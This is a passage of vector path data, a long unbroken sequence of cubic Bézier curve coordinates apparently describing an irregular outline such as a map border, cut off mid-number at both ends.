90286.00C58281.00 90254.00 58281.00 90222.00 58281.00 90190.00C58259.33 90179.00 58237.67 90168.00 58216.00 90157.00C58194.67 90135.67 58173.33 90114.33 58152.00 90093.00C58130.67 90093.00 58109.33 90093.00 58088.00 90093.00C58077.00 90103.67 58066.00 90114.33 58055.00 90125.00C58055.00 90135.67 58055.00 90146.33 58055.00 90157.00C58044.33 90168.00 58033.67 90179.00 58023.00 90190.00C58023.00 90168.33 58023.00 90146.67 58023.00 90125.00C58001.67 90125.00 57980.33 90125.00 57959.00 90125.00C57948.33 90146.67 57937.67 90168.33 57927.00 90190.00C57916.33 90190.00 57905.67 90190.00 57895.00 90190.00C57884.33 90179.00 57873.67 90168.00 57863.00 90157.00C57863.00 90146.33 57863.00 90135.67 57863.00 90125.00C57820.00 90114.33 57777.00 90103.67 57734.00 90093.00C57723.33 90071.67 57712.67 90050.33 57702.00 90029.00C57712.67 89996.67 57723.33 89964.33 57734.00 89932.00C57712.67 89932.00 57691.33 89932.00 57670.00 89932.00C57670.00 89900.00 57670.00 89868.00 57670.00 89836.00C57648.33 89825.33 57626.67 89814.67 57605.00 89804.00C57583.61 89739.58 57562.32 89675.12 57540.86 89610.72C57530.24 89589.15 57519.62 89567.57 57509.00 89546.00C57487.67 89546.00 57466.33 89546.00 57445.00 89546.00C57423.33 89535.33 57401.67 89524.67 57380.00 89514.00C57390.67 89482.00 57401.33 89450.00 57412.00 89418.00C57433.67 89407.33 57455.33 89396.67 57477.00 89386.00C57477.00 89375.33 57477.00 89364.67 57477.00 89354.00C57466.33 89343.00 57455.67 89332.00 57445.00 89321.00C57402.00 89321.00 57359.00 89321.00 57316.00 89321.00C57316.00 89310.33 57316.00 89299.67 57316.00 89289.00C57326.67 89278.33 57337.33 89267.67 57348.00 89257.00C57348.00 89235.67 57348.00 89214.33 57348.00 89193.00C57294.33 89193.00 57240.67 89193.00 57187.00 89193.00C57187.00 89171.33 57187.00 89149.67 57187.00 89128.00C57165.67 89139.00 57144.33 89150.00 57123.00 89161.00C57123.00 89139.33 57123.00 89117.67 57123.00 89096.00C57101.67 89096.00 57080.33 89096.00 57059.00 89096.00C57059.00 89064.00 57059.00 89032.00 57059.00 89000.00C57048.33 89000.00 57037.67 89000.00 57027.00 89000.00C57016.00 89010.67 57005.00 89021.33 56994.00 89032.00C57005.00 89053.33 57016.00 89074.67 57027.00 89096.00C57005.33 89106.67 56983.67 89117.33 56962.00 89128.00C56930.00 89096.00 56898.00 89064.00 56866.00 89032.00C56855.33 89042.67 56844.67 89053.33 56834.00 89064.00C56844.67 89085.33 56855.33 89106.67 56866.00 89128.00C56866.00 89139.00 56866.00 89150.00 56866.00 89161.00C56855.33 89171.67 56844.67 89182.33 56834.00 89193.00C56801.67 89193.00 56769.33 89193.00 56737.00 89193.00C56726.33 89203.67 56715.67 89214.33 56705.00 89225.00C56673.00 89225.00 56641.00 89225.00 56609.00 89225.00C56609.00 89235.67 56609.00 89246.33 56609.00 89257.00C56619.67 89257.00 56630.33 89257.00 56641.00 89257.00C56641.00 89267.67 56641.00 89278.33 56641.00 89289.00C56651.67 89299.67 56662.33 89310.33 56673.00 89321.00C56673.00 89332.00 56673.00 89343.00 56673.00 89354.00C56651.67 89354.00 56630.33 89354.00 56609.00 89354.00C56598.00 89343.00 56587.00 89332.00 56576.00 89321.00C56512.00 89321.00 56448.00 89321.00 56384.00 89321.00C56330.33 89299.67 56276.67 89278.33 56223.00 89257.00C56190.67 89235.67 56158.33 89214.33 56126.00 89193.00C56094.00 89203.67 56062.00 89214.33 56030.00 89225.00C56019.15 89214.23 56008.45 89203.29 55997.50 89192.63C55954.67 89160.42 55911.83 89128.21 55869.00 89096.00C55858.33 89053.33 55847.67 89010.67 55837.00 88968.00C55815.67 88957.00 55794.33 88946.00 55773.00 88935.00C55762.00 88946.00 55751.00 88957.00 55740.00 88968.00C55722.77 88950.22 55705.61 88932.37 55687.98 88914.98C55683.99 88910.99 55680.00 88906.99 55676.00 88903.00C55708.33 88903.00 55740.67 88903.00 55773.00 88903.00C55751.33 88881.67 55729.67 88860.33 55708.00 88839.00C55708.00 88807.00 55708.00 88775.00 55708.00 88743.00C55601.00 88743.00 55494.00 88743.00 55387.00 88743.00C55344.00 88710.67 55301.00 88678.33 55258.00 88646.00C55226.00 88581.67 55194.00 88517.33 55162.00 88453.00C55102.18 88433.31 55042.39 88413.54 54982.67 88393.56C54945.81 88381.29 54908.89 88369.19 54872.00 88357.00C54861.33 88335.33 54850.67 88313.67 54840.00 88292.00C54786.33 88270.67 54732.67 88249.33 54679.00 88228.00C54647.00 88238.67 54615.00 88249.33 54583.00 88260.00C54561.67 88238.67 54540.33 88217.33 54519.00 88196.00C54443.67 88174.67 54368.33 88153.33 54293.00 88132.00C54250.33 88132.00 54207.67 88132.00 54165.00 88132.00C54132.67 88110.33 54100.33 88088.67 54068.00 88067.00C54042.44 88092.40 54017.18 88118.08 53991.92 88143.77C53974.75 88161.32 53957.36 88178.65 53940.00 88196.00C53929.33 88185.33 53918.67 88174.67 53908.00 88164.00C53886.33 88196.00 53864.67 88228.00 53843.00 88260.00C53811.00 88249.33 53779.00 88238.67 53747.00 88228.00C53715.00 88206.67 53683.00 88185.33 53651.00 88164.00C53629.33 88164.00 53607.67 88164.00 53586.00 88164.00C53575.33 88174.67 53564.67 88185.33 53554.00 88196.00C53554.00 88217.33 53554.00 88238.67 53554.00 88260.00C53543.33 88292.33 53532.67 88324.67 53522.00 88357.00C53522.00 88389.00 53522.00 88421.00 53522.00 88453.00C53511.33 88463.67 53500.67 88474.33 53490.00 88485.00C53468.33 88485.00 53446.67 88485.00 53425.00 88485.00C53393.00 88506.67 53361.00 88528.33 53329.00 88550.00C53296.67 88560.67 53264.33 88571.33 53232.00 88582.00C53221.15 88571.23 53210.45 88560.29 53199.50 88549.62C53157.00 88517.42 53114.50 88485.21 53072.00 88453.00C53061.33 88453.00 53050.67 88453.00 53040.00 88453.00C53040.00 88463.67 53040.00 88474.33 53040.00 88485.00C53029.00 88496.00 53018.00 88507.00 53007.00 88518.00C52985.67 88496.33 52964.33 88474.67 52943.00 88453.00C52921.67 88474.67 52900.33 88496.33 52879.00 88518.00C52868.33 88518.00 52857.67 88518.00 52847.00 88518.00C52836.33 88485.67 52825.67 88453.33 52815.00 88421.00C52793.33 88410.33 52771.67 88399.67 52750.00 88389.00C52739.33 88389.00 52728.67 88389.00 52718.00 88389.00C52707.33 88399.67 52696.67 88410.33 52686.00 88421.00C52664.67 88421.00 52643.33 88421.00 52622.00 88421.00C52622.00 88399.67 52622.00 88378.33 52622.00 88357.00C52611.00 88357.00 52600.00 88357.00 52589.00 88357.00C52557.00 88389.00 52525.00 88421.00 52493.00 88453.00C52482.33 88453.00 52471.67 88453.00 52461.00 88453.00C52461.00 88421.00 52461.00 88389.00 52461.00 88357.00C52450.33 88346.33 52439.67 88335.67 52429.00 88325.00C52407.33 88325.00 52385.67 88325.00 52364.00 88325.00C52353.33 88367.67 52342.67 88410.33 52332.00 88453.00C52332.00 88463.67 52332.00 88474.33 52332.00 88485.00C52300.00 88485.00 52268.00 88485.00 52236.00 88485.00C52225.33 88474.33 52214.67 88463.67 52204.00 88453.00C52214.67 88431.67 52225.33 88410.33 52236.00 88389.00C52236.00 88346.00 52236.00 88303.00 52236.00 88260.00C52214.33 88260.00 52192.67 88260.00 52171.00 88260.00C52160.33 88270.67 52149.67 88281.33 52139.00 88292.00C52128.33 88292.00 52117.67 88292.00 52107.00 88292.00C52085.67 88281.33 52064.33 88270.67 52043.00 88260.00C52032.33 88260.00 52021.67 88260.00 52011.00 88260.00C51989.33 88238.67 51967.67 88217.33 51946.00 88196.00C51914.00 88239.00 51882.00 88282.00 51850.00 88325.00C51817.67 88335.67 51785.33 88346.33 51753.00 88357.00C51742.33 88378.33 51731.67 88399.67 51721.00 88421.00C51710.33 88431.67 51699.67 88442.33 51689.00 88453.00C51667.67 88431.67 51646.33 88410.33 51625.00 88389.00C51635.67 88356.67 51646.33 88324.33 51657.00 88292.00C51657.00 88270.67 51657.00 88249.33 51657.00 88228.00C51571.23 88227.97 51485.46 88228.05 51399.69 88227.96C51314.13 88217.31 51228.56 88206.65 51143.00 88196.00C51120.56 88173.83 51097.97 88151.81 51075.62 88129.54C51060.11 88113.56 51044.72 88097.46 51028.78 88081.91C50991.52 88044.94 50954.26 88007.97 50917.00 87971.00C50895.67 87938.67 50874.33 87906.33 50853.00 87874.00C50788.78 87841.78 50724.36 87809.95 50660.00 87778.00C50649.33 87746.00 50638.67 87714.00 50628.00 87682.00C50628.00 87671.00 50628.00 87660.00 50628.00 87649.00C50638.67 87627.67 50649.33 87606.33 50660.00 87585.00C50670.67 87531.33 50681.33 87477.67 50692.00 87424.00C50692.00 87370.33 50692.00 87316.67 50692.00 87263.00C50681.33 87209.67 50670.67 87156.33 50660.00 87103.00C50649.33 87092.33 50638.67 87081.67 50628.00 87071.00C50563.78 87103.22 50499.36 87135.05 50435.00 87167.00C50424.33 87167.00 50413.67 87167.00 50403.00 87167.00C50381.58 87134.94 50360.28 87102.78 50338.78 87070.78C50328.19 87059.85 50317.59 87048.93 50307.00 87038.00C50242.67 87038.00 50178.33 87038.00 50114.00 87038.00C50027.90 87005.99 49941.82 86973.88 49855.70 86941.93C49813.13 86931.28 49770.57 86920.64 49728.00 86910.00C49706.33 86888.67 49684.67 86867.33 49663.00 86846.00C49652.33 86792.33 49641.67 86738.67 49631.00 86685.00C49641.67 86652.67 49652.33 86620.33 49663.00 86588.00C49684.67 86556.00 49706.33 86524.00 49728.00 86492.00C49728.00 86481.33 49728.00 86470.67 49728.00 86460.00C49706.33 86438.33 49684.67 86416.67 49663.00 86395.00C49652.33 86406.00 49641.67 86417.00 49631.00 86428.00C49599.00 86438.67 49567.00 86449.33 49535.00 86460.00C49545.67 86492.00 49556.33 86524.00 49567.00 86556.00C49567.00 86588.33 49567.00 86620.67 49567.00 86653.00C49556.33 86685.00 49545.67 86717.00 49535.00 86749.00C49502.67 86749.00 49470.33 86749.00 49438.00 86749.00C49427.33 86727.67 49416.67 86706.33 49406.00 86685.00C49427.67 86631.33 49449.33 86577.67 49471.00 86524.00C49453.22 86506.77 49435.37 86489.61 49417.98 86471.98C49413.69 86467.86 49409.70 86463.37 49405.23 86459.48C49373.49 86437.99 49341.74 86416.49 49310.00 86395.00C49288.33 86395.00 49266.67 86395.00 49245.00 86395.00C49234.25 86416.74 49223.64 86438.56 49212.81 86460.25C49180.88 86502.83 49148.94 86545.42 49117.00 86588.00C49106.33 86588.00 49095.67 86588.00 49085.00 86588.00C49074.33 86566.67 49063.67 86545.33 49053.00 86524.00C49053.00 86502.67 49053.00 86481.33 49053.00 86460.00C49074.33 86427.67 49095.67 86395.33 49117.00 86363.00C49138.33 86352.33 49159.67 86341.67 49181.00 86331.00C49191.67 86309.67 49202.33 86288.33 49213.00 86267.00C49194.57 86229.51 49176.13 86192.02 49157.35 86154.70C49143.90 86127.80 49130.45 86100.90 49117.00 86074.00C49106.33 86063.33 49095.67 86052.67 49085.00 86042.00C49010.00 86042.00 48935.00 86042.00 48860.00 86042.00C48806.33 86074.00 48752.67 86106.00 48699.00 86138.00C48677.63 86116.57 48656.12 86095.24 48634.83 86073.74C48613.13 86041.43 48591.56 86009.02 48569.78 85976.78C48559.19 85966.19 48548.59 85955.59 48538.00 85945.00C48516.67 85955.67 48495.33 85966.33 48474.00 85977.00C48463.33 86009.33 48452.67 86041.67 48442.00 86074.00C48420.33 86074.00 48398.67 86074.00 48377.00 86074.00C48355.67 86031.00 48334.33 85988.00 48313.00 85945.00C48302.24 85945.07 48291.44 85944.87 48280.71 85945.10C48248.47 85955.73 48216.24 85966.37 48184.00 85977.00C48173.33 85977.00 48162.67 85977.00 48152.00 85977.00C48152.00 85955.67 48152.00 85934.33 48152.00 85913.00C48162.67 85891.67 48173.33 85870.33 48184.00 85849.00C48173.33 85838.33 48162.67 85827.67 48152.00 85817.00C48141.33 85827.67 48130.67 85838.33 48120.00 85849.00C48120.00 85838.33 48120.00 85827.67 48120.00 85817.00C48141.33 85784.67 48162.67 85752.33 48184.00 85720.00C48205.67 85645.00 48227.33 85570.00 48249.00 85495.00C48238.33 85484.33 48227.67 85473.67 48217.00 85463.00C48195.33 85452.33 48173.67 85441.67 48152.00 85431.00C48109.33 85431.00 48066.67 85431.00 48024.00 85431.00C48002.33 85398.67 47980.67 85366.33 47959.00 85334.00C47959.08 85323.24 47958.85 85312.43 47959.12 85301.71C47980.74 85248.14 48002.37 85194.57 48024.00 85141.00C48024.00 85087.67 48024.00 85034.33 48024.00 84981.00C47991.67 84884.33 47959.33 84787.67 47927.00 84691.00C47927.00 84669.67 47927.00 84648.33 47927.00 84627.00C47916.33 84605.67 47905.67 84584.33 47895.00 84563.00C47873.67 84563.00 47852.33 84563.00 47831.00 84563.00C47788.00 84584.33 47745.00 84605.67 47702.00 84627.00C47616.33 84627.00 47530.67 84627.00 47445.00 84627.00C47434.33 84637.67 47423.67 84648.33 47413.00 84659.00C47434.33 84680.33 47455.67 84701.67 47477.00 84723.00C47477.00 84744.67 47477.00 84766.33 47477.00 84788.00C47455.67 84788.00 47434.33 84788.00 47413.00 84788.00C47348.67 84755.67 47284.33 84723.33 47220.00 84691.00C47176.94 84658.91 47133.79 84626.92 47090.78 84594.78C47080.19 84584.19 47069.59 84573.59 47059.00 84563.00C47112.67 84509.33 47166.33 84455.67 47220.00 84402.00C47241.33 84359.00 47262.67 84316.00 47284.00 84273.00C47284.00 84262.33 47284.00 84251.67 47284.00 84241.00C47262.67 84198.33 47241.33 84155.67 47220.00 84113.00C47220.00 84102.00 47220.00 84091.00 47220.00 84080.00C47230.67 84058.67 47241.33 84037.33 47252.00 84016.00C47230.67 83994.67 47209.33 83973.33 47188.00 83952.00C47188.00 83930.33 47188.00 83908.67 47188.00 83887.00C47220.00 83855.00 47252.00 83823.00 47284.00 83791.00C47294.67 83759.00 47305.33 83727.00 47316.00 83695.00C47298.77 83677.22 47281.61 83659.37 47263.98 83641.98C47259.99 83637.99 47256.00 83633.99 47252.00 83630.00C47198.33 83630.00 47144.67 83630.00 47091.00 83630.00C47026.67 83608.67 46962.33 83587.33 46898.00 83566.00C46887.33 83566.00 46876.67 83566.00 46866.00 83566.00C46855.33 83544.67 46844.67 83523.33 46834.00 83502.00C46812.67 83384.00 46791.33 83266.00 46770.00 83148.00C46770.00 83094.33 46770.00 83040.67 46770.00 82987.00C46748.33 82933.33 46726.67 82879.67 46705.00 82826.00C46715.67 82804.67 46726.33 82783.33 46737.00 82762.00C46790.67 82751.33 46844.33 82740.67 46898.00 82730.00C46908.67 82719.33 46919.33 82708.67 46930.00 82698.00C46919.33 82676.33 46908.67 82654.67 46898.00 82633.00C46833.67 82633.00 46769.33 82633.00 46705.00 82633.00C46694.33 82622.33 46683.67 82611.67 46673.00 82601.00C46651.67 82515.33 46630.33 82429.67 46609.00 82344.00C46609.00 82290.33 46609.00 82236.67 46609.00 82183.00C46619.67 82172.33 46630.33 82161.67 46641.00 82151.00C46684.00 82140.33 46727.00 82129.67 46770.00 82119.00C46780.67 82108.33 46791.33 82097.67 46802.00 82087.00C46791.33 82065.67 46780.67 82044.33 46770.00 82023.00C46727.00 82023.00 46684.00 82023.00 46641.00 82023.00C46619.67 81958.67 46598.33 81894.33 46577.00 81830.00C46577.00 81808.33 46577.00 81786.67 46577.00 81765.00C46630.33 81711.67 46683.67 81658.33 46737.00 81605.00C46812.33 81583.33 46887.67 81561.67 46963.00 81540.00C46973.67 81518.67 46984.33 81497.33 46995.00 81476.00C46962.89 81411.55 46930.38 81347.31 46898.00 81283.00C46887.33 81272.33 46876.67 81261.67 46866.00 81251.00C46919.76 81207.95 46973.47 81164.84 47027.26 81121.83C47059.17 81100.55 47091.09 81079.28 47123.00 81058.00C47123.00 81047.33 47123.00 81036.67 47123.00 81026.00C47091.00 80993.67 47059.00 80961.33 47027.00 80929.00C47007.12 80869.47 46987.31 80809.91 46967.71 80750.29C46966.18 80745.42 46964.38 80740.59 46963.00 80735.69C46963.00 80725.13 46963.00 80714.56 46963.00 80704.00C46995.00 80714.67 47027.00 80725.33 47059.00 80736.00C47037.67 80650.33 47016.33 80564.67 46995.00 80479.00C46930.67 80393.33 46866.33 80307.67 46802.00 80222.00C46769.67 80200.67 46737.33 80179.33 46705.00 80158.00C46683.67 80158.00 46662.33 80158.00 46641.00 80158.00C46619.67 80147.33 46598.33 80136.67 46577.00 80126.00C46577.00 80093.67 46577.00 80061.33 46577.00 80029.00C46598.33 80029.00 46619.67 80029.00 46641.00 80029.00C46651.67 79997.00 46662.33 79965.00 46673.00 79933.00C46662.33 79900.67 46651.67 79868.33 46641.00 79836.00C46651.67 79793.00 46662.33 79750.00 46673.00 79707.00C46673.00 79675.00 46673.00 79643.00 46673.00 79611.00C46653.12 79551.47 46633.31 79491.91 46613.71 79432.29C46612.14 79427.53 46610.57 79422.76 46609.00 79418.00C46576.67 79407.33 46544.33 79396.67 46512.00 79386.00C46480.00 79386.00 46448.00 79386.00 46416.00 79386.00C46405.33 79375.33 46394.67 79364.67 46384.00 79354.00C46384.00 79343.33 46384.00 79332.67 46384.00 79322.00C46366.73 79304.74 46349.39 79287.55 46332.51 79269.90C46328.34 79265.60 46324.17 79261.30 46320.00 79257.00C46330.67 79246.33 46341.33 79235.67 46352.00 79225.00C46352.00 79203.67 46352.00 79182.33 46352.00 79161.00C46373.33 79150.33 46394.67 79139.67 46416.00 79129.00C46415.95 79107.24 46416.10 79085.45 46415.93 79063.70C46405.28 79021.13 46394.64 78978.57 46384.00 78936.00C46362.67 78903.67 46341.33 78871.33 46320.00 78839.00C46330.67 78796.33 46341.33 78753.67 46352.00 78711.00C46330.33 78689.33 46308.67 78667.67 46287.00 78646.00C46276.33 78624.67 46265.67 78603.33 46255.00 78582.00C46265.67 78550.00 46276.33 78518.00 46287.00 78486.00C46319.33 78486.00 46351.67 78486.00 46384.00 78486.00C46405.38 78464.24 46426.87 78442.57 46448.17 78420.74C46469.45 78388.83 46490.72 78356.91 46512.00 78325.00C46512.00 78271.33 46512.00 78217.67 46512.00 78164.00C46490.67 78121.33 46469.33 78078.67 46448.00 78036.00C46469.33 78003.67 46490.67 77971.33 46512.00 77939.00C46533.67 77928.33 46555.33 77917.67 46577.00 77907.00C46609.08 77863.94 46641.08 77820.79 46673.22 77777.78C46705.48 77745.85 46737.74 77713.93 46770.00 77682.00C46791.33 77617.67 46812.67 77553.33 46834.00 77489.00C46844.67 77478.33 46855.33 77467.67 46866.00 77457.00C46884.43 77419.51 46902.87 77382.02 46921.65 77344.70C46924.38 77339.02 46927.50 77333.43 46930.00 77327.69C46930.00 77306.46 46930.00 77285.23 46930.00 77264.00C46908.67 77221.00 46887.33 77178.00 46866.00 77135.00C46866.00 77103.00 46866.00 77071.00 46866.00 77039.00C46876.67 76996.00 46887.33 76953.00 46898.00 76910.00C46887.33 76845.67 46876.67 76781.33 46866.00 76717.00C46844.67 76695.67 46823.33 76674.33 46802.00 76653.00C46791.33 76610.00 46780.67 76567.00 46770.00 76524.00C46759.00 76502.67 46748.00 76481.33 46737.00 76460.00C46758.67 76385.00 46780.33 76310.00 46802.00 76235.00C46791.33 76192.00 46780.67 76149.00 46770.00 76106.00C46759.00 76084.67 46748.00 76063.33 46737.00 76042.00C46737.00 75988.33 46737.00 75934.67 46737.00 75881.00C46748.00 75838.33 46759.00 75795.67 46770.00 75753.00C46823.33 75699.33 46876.67 75645.67 46930.00 75592.00C46941.00 75549.00 46952.00 75506.00 46963.00 75463.00C46952.00 75441.67 46941.00 75420.33 46930.00 75399.00C46887.33 75367.00 46844.67 75335.00 46802.00 75303.00C46780.23 75249.15 46758.57 75195.26 46736.72 75141.44C46715.48 75098.63 46694.24 75055.81 46673.00 75013.00C46662.33 74970.33 46651.67 74927.67 46641.00 74885.00C46617.29 74861.02 46593.78 74836.84 46569.93 74812.99C46529.29 74772.66 46488.64 74732.33 46448.00 74692.00C46362.33 74659.67 46276.67 74627.33 46191.00 74595.00C46191.00 74605.67 46191.00 74616.33 46191.00 74627.00C46201.67 74637.67 46212.33 74648.33 46223.00 74659.00C46223.00 74670.00 46223.00 74681.00 46223.00 74692.00C46212.33 74713.33 46201.67 74734.67 46191.00 74756.00C46148.00 74777.33 46105.00 74798.67 46062.00 74820.00C46051.33 74820.00 46040.67 74820.00 46030.00 74820.00C46019.33 74809.33 46008.67 74798.67 45998.00 74788.00C45998.00 74798.67 45998.00 74809.33 45998.00 74820.00C46008.67 74841.67 46019.33 74863.33 46030.00 74885.00C45998.00 74895.67 45966.00 74906.33 45934.00 74917.00C45934.00 75002.67 45934.00 75088.33 45934.00 75174.00C45912.33 75184.67 45890.67 75195.33 45869.00 75206.00C45837.00 75184.67 45805.00 75163.33 45773.00 75142.00C45762.33 75184.67 45751.67 75227.33 45741.00 75270.00C45719.33 75270.00 45697.67 75270.00 45676.00 75270.00C45665.33 75281.00 45654.67 75292.00 45644.00 75303.00C45644.07 75313.76 45643.87 75324.56 45644.10 75335.29C45654.73 75367.20 45665.37 75399.10 45676.00 75431.00C45676.00 75441.67 45676.00 75452.33 45676.00 75463.00C45665.33 75463.00 45654.67 75463.00 45644.00 75463.00C45633.33 75452.33 45622.67 75441.67 45612.00 75431.00C45569.33 75441.67 45526.67 75452.33 45484.00 75463.00C45484.00 75431.00 45484.00 75399.00 45484.00 75367.00C45473.00 75367.00 45462.00 75367.00 45451.00 75367.00C45429.67 75377.67 45408.33 75388.33 45387.00 75399.00C45376.33 75409.67 45365.67 75420.33 45355.00 75431.00C45344.33 75420.33 45333.67 75409.67 45323.00 75399.00C45312.33 75356.00 45301.67 75313.00 45291.00 75270.00C45280.33 75270.00 45269.67 75270.00 45259.00 75270.00C45248.00 75291.67 45237.00 75313.33 45226.00 75335.00C45226.00 75324.33 45226.00 75313.67 45226.00 75303.00C45215.33 75292.00 45204.67 75281.00 45194.00 75270.00C45215.67 75248.67 45237.33 75227.33 45259.00 75206.00C45237.33 75206.00 45215.67 75206.00 45194.00 75206.00C45172.67 75184.67 45151.33 75163.33 45130.00 75142.00C45097.67 75174.00 45065.33 75206.00 45033.00 75238.00C45033.00 75259.67 45033.00 75281.33 45033.00 75303.00C45001.00 75292.00 44969.00 75281.00 44937.00 75270.00C44958.33 75238.00 44979.67 75206.00 45001.00 75174.00C44979.67 75152.67 44958.33 75131.33 44937.00 75110.00C44937.00 75099.00 44937.00 75088.00 44937.00 75077.00C44979.67 75077.00 45022.33 75077.00 45065.00 75077.00C45076.00 75066.33 45087.00 75055.67 45098.00 75045.00C45087.00 75045.00 45076.00 75045.00 45065.00 75045.00C45065.00 75023.67 45065.00 75002.33 45065.00 74981.00C45043.67 74991.67 45022.33 75002.33 45001.00 75013.00C44990.33 75023.67 44979.67 75034.33 44969.00 75045.00C44926.00 75045.00 44883.00 75045.00 44840.00 75045.00C44829.33 75055.67 44818.67 75066.33 44808.00 75077.00C44808.00 75098.67 44808.00 75120.33 44808.00 75142.00C44797.33 75142.00 44786.67 75142.00 44776.00 75142.00C44754.67 75120.33 44733.33 75098.67 44712.00 75077.00C44690.67 75066.33 44669.33 75055.67 44648.00 75045.00C44658.67 75023.67 44669.33 75002.33 44680.00 74981.00C44680.00 74959.67 44680.00 74938.33 44680.00 74917.00C44658.33 74927.67 44636.67 74938.33 44615.00 74949.00C44615.07 74959.76 44614.86 74970.56 44615.10 74981.29C44626.07 75013.20 44637.03 75045.10 44648.00 75077.00C44637.00 75088.00 44626.00 75099.00 44615.00 75110.00C44604.33 75131.33 44593.67 75152.67 44583.00 75174.00C44572.33 75184.67 44561.67 75195.33 44551.00 75206.00C44540.33 75195.33 44529.67 75184.67 44519.00 75174.00C44519.00 75184.67 44519.00 75195.33 44519.00 75206.00C44508.31 75195.22 44497.41 75184.60 44486.86 75173.72C44476.24 75152.48 44465.62 75131.24 44455.00 75110.00C44476.33 75099.00 44497.67 75088.00 44519.00 75077.00C44519.00 75066.33 44519.00 75055.67 44519.00 75045.00C44508.33 75045.00 44497.67 75045.00 44487.00 75045.00C44476.33 75034.33 44465.67 75023.67 44455.00 75013.00C44444.33 75013.00 44433.67 75013.00 44423.00 75013.00C44423.00 75034.33 44423.00 75055.67 44423.00 75077.00C44401.33 75077.00 44379.67 75077.00 44358.00 75077.00C44358.00 75098.67 44358.00 75120.33 44358.00 75142.00C44347.33 75152.67 44336.67 75163.33 44326.00 75174.00C44326.00 75184.67 44326.00 75195.33 44326.00 75206.00C44272.33 75206.00 44218.67 75206.00 44165.00 75206.00C44175.67 75184.67 44186.33 75163.33 44197.00 75142.00C44197.00 75131.33 44197.00 75120.67 44197.00 75110.00C44208.00 75099.00 44219.00 75088.00 44230.00 75077.00C44212.22 75059.77 44194.37 75042.61 44176.98 75024.98C44172.99 75020.99 44169.00 75016.99 44165.00 75013.00C44143.67 75013.00 44122.33 75013.00 44101.00 75013.00C44079.67 75023.67 44058.33 75034.33 44037.00 75045.00C44037.00 75055.67 44037.00 75066.33 44037.00 75077.00C44015.33 75077.00 43993.67 75077.00 43972.00 75077.00C43972.00 75055.67 43972.00 75034.33 43972.00 75013.00C43961.33 75013.00 43950.67 75013.00 43940.00 75013.00C43929.33 75023.67 43918.67 75034.33 43908.00 75045.00C43918.67 75055.67 43929.33 75066.33 43940.00 75077.00C43929.33 75077.00 43918.67 75077.00 43908.00 75077.00C43897.33 75088.00 43886.67 75099.00 43876.00 75110.00C43876.00 75099.00 43876.00 75088.00 43876.00 75077.00C43865.33 75066.33 43854.67 75055.67 43844.00 75045.00C43820.50 75056.65 43796.88 75068.04 43773.47 75079.85C43753.98 75089.90 43734.49 75099.95 43715.00 75110.00C43704.33 75152.67 43693.67 75195.33 43683.00 75238.00C43704.33 75248.67 43725.67 75259.33 43747.00 75270.00C43736.33 75270.00 43725.67 75270.00 43715.00 75270.00C43693.67 75259.33 43672.33 75248.67 43651.00 75238.00C43651.00 75259.67 43651.00 75281.33 43651.00 75303.00C43640.33 75292.00 43629.67 75281.00 43619.00 75270.00C43608.33 75270.00 43597.67 75270.00 43587.00 75270.00C43587.00 75248.67 43587.00 75227.33 43587.00 75206.00C43554.67 75238.33 43522.33 75270.67 43490.00 75303.00C43479.33 75303.00 43468.67 75303.00 43458.00 75303.00C43436.67 75260.00 43415.33 75217.00 43394.00 75174.00C43340.33 75174.00 43286.67 75174.00 43233.00 75174.00C43211.33 75184.67 43189.67 75195.33 43168.00 75206.00C43179.00 75216.67 43190.00 75227.33 43201.00 75238.00C43190.00 75238.00 43179.00 75238.00 43168.00 75238.00C43157.33 75259.67 43146.67 75281.33 43136.00 75303.00C43125.33 75292.00 43114.67 75281.00 43104.00 75270.00C43104.00 75238.00 43104.00 75206.00 43104.00 75174.00C43082.67 75174.00 43061.33 75174.00 43040.00 75174.00C43040.00 75184.67 43040.00 75195.33 43040.00 75206.00C43018.67 75206.00 42997.33 75206.00 42976.00 75206.00C42976.00 75195.33 42976.00 75184.67 42976.00 75174.00C42965.00 75184.67 42954.00 75195.33 42943.00 75206.00C42932.33 75195.33 42921.67 75184.67 42911.00 75174.00C42900.33 75184.67 42889.67 75195.33 42879.00 75206.00C42868.33 75195.33 42857.67 75184.67 42847.00 75174.00C42815.00 75184.67 42783.00 75195.33 42751.00 75206.00C42751.00 75227.33 42751.00 75248.67 42751.00 75270.00C42718.67 75270.00 42686.33 75270.00 42654.00 75270.00C42654.00 75281.00 42654.00 75292.00 42654.00 75303.00C42664.67 75324.33 42675.33 75345.67 42686.00 75367.00C42675.33 75356.33 42664.67 75345.67 42654.00 75335.00C42643.33 75345.67 42632.67 75356.33 42622.00 75367.00C42632.67 75367.00 42643.33 75367.00 42654.00 75367.00C42632.67 75377.67 42611.33 75388.33 42590.00 75399.00C42579.33 75399.00 42568.67 75399.00 42558.00 75399.00C42546.90 75388.29 42535.90 75377.46 42524.74 75366.83C42492.83 75345.55 42460.91 75324.28 42429.00 75303.00C42429.00 75324.33 42429.00 75345.67 42429.00 75367.00C42418.33 75356.33 42407.67 75345.67 42397.00 75335.00C42397.00 75345.67 42397.00 75356.33 42397.00 75367.00C42386.33 75377.67 42375.67 75388.33 42365.00 75399.00C42354.00 75399.00 42343.00 75399.00 42332.00 75399.00C42310.67 75409.67 42289.33 75420.33 42268.00 75431.00C42268.00 75409.67 42268.00 75388.33 42268.00 75367.00C42257.33 75377.67 42246.67 75388.33 42236.00 75399.00C42236.00 75420.33 42236.00 75441.67 42236.00 75463.00C42225.33 75463.00 42214.67 75463.00 42204.00 75463.00C42182.67 75452.33 42161.33 75441.67 42140.00 75431.00C42129.00 75431.00 42118.00 75431.00 42107.00 75431.00C42096.33 75420.33 42085.67 75409.67 42075.00 75399.00C42064.33 75409.67 42053.67 75420.33 42043.00 75431.00C42000.33 75431.00 41957.67 75431.00 41915.00 75431.00C41904.00 75441.67 41893.00 75452.33 41882.00 75463.00C41882.00 75495.33 41882.00 75527.67 41882.00 75560.00C41839.33 75570.67 41796.67 75581.33 41754.00 75592.00C41721.67 75581.33 41689.33 75570.67 41657.00 75560.00C41657.00 75570.67 41657.00 75581.33 41657.00 75592.00C41646.33 75602.67 41635.67 75613.33 41625.00 75624.00C41625.00 75634.67 41625.00 75645.33 41625.00 75656.00C41614.33 75656.00 41603.67 75656.00 41593.00 75656.00C41582.33 75666.67 41571.67 75677.33 41561.00 75688.00C41561.00 75699.00 41561.00 75710.00 41561.00 75721.00C41582.33 75721.00 41603.67 75721.00 41625.00 75721.00C41603.67 75721.00 41582.33 75721.00 41561.00 75721.00C41550.33 75710.00 41539.67 75699.00 41529.00 75688.00C41539.67 75656.00 41550.33 75624.00 41561.00 75592.00C41539.67 75581.33 41518.33 75570.67 41497.00 